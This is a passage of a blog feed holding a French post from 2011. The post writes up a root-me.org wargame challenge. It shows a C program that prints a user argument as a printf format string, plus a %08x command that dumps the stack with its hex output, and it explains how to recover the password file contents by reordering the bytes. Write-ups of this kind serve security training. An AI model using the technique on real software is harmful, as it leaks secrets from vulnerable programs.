akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-53261543272024583</id><published>2011-01-04T10:12:00.000-08:00</published><updated>2011-01-04T10:33:33.878-08:00</updated><title type='text'>Exploration de la pile via Format String</title><content type='html'>J'ai eu envie de faire un petit article là dessus étant donné que le problème s'est posé sur un challenge&lt;br /&gt;(&lt;a href="http://www.root-me.org/"&gt;root-me.org&lt;/a&gt;), j'ai trouvé ça rafraichissant vu que ce n'était pas forcément le but que de rediriger le flux d'exécution là où on voulait.&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;int main(int argc, char *argv[]){&lt;br /&gt;FILE *secret = fopen("/wargame/binary/binary6/.passwd", "rt");&lt;br /&gt;char buffer[32];&lt;br /&gt;fgets(buffer, sizeof(buffer), secret);&lt;br /&gt;printf(argv[1]);&lt;br /&gt;fclose(secret);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Désolé pour l'indentation je ne maitrise pas encore vraiment l'éditeur :s .&lt;br /&gt;Voici la source.&lt;br /&gt;Donc c'est une exploitation on ne peut plus "classique".&lt;br /&gt;Mauvaise utilisation de printf sur la variable passée en paramètre, donc sa valeur peut elle aussi servir de paramètre. On utilise donc le formateur %x pour que le programme affiche les valeurs de la pile.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;./level5 `python -c "print '.%08x'*100"`&lt;br /&gt;00000020.08e69008.00000000.00000000.00000000.bfa46878.39617044.&lt;br /&gt;28293664.6d617045.bf000a64.08048364.b76d9ff4.080496e8.bfa44808.&lt;br /&gt;08e69008.bfa44810.b76d9ff4.bfa44868.b7599455.08048520.080483e0.&lt;br /&gt;bfa44868.b7599455.00000002.bfa44894.bfa448a0.b7715...[...]0000000&lt;/pre&gt;&lt;br /&gt;Notre mot de passe devrait se trouver au début de tout cet amas hexadécimal.&lt;br /&gt;Maintenant il faut aussi se rendre compte que tout ça se fait sur une plateforme Linux x86&lt;br /&gt;donc tout est en little-endian.&lt;br /&gt;On enlève les 0 du début de ligne et on garde le début de la chaîne, genre :&lt;br /&gt;&amp;nbsp;bfa46878.39617044.28293664.6d617045.bf000a64.08048364&lt;br /&gt;On convertit le tout en big-endian et on voit finalement apparaître le mot de passe.&lt;br /&gt;(que je ne spoilerais pas ici de toute façon :p ).&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;/pre&gt;&lt;pre&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-53261543272024583?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/53261543272024583/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/exploration-de-la-pile-via-format.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/53261543272024583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/53261543272024583'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/exploration-de-la-pile-via-format.html' title='Exploration de la pile via Format String'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>1</thr:total></entry></feed>
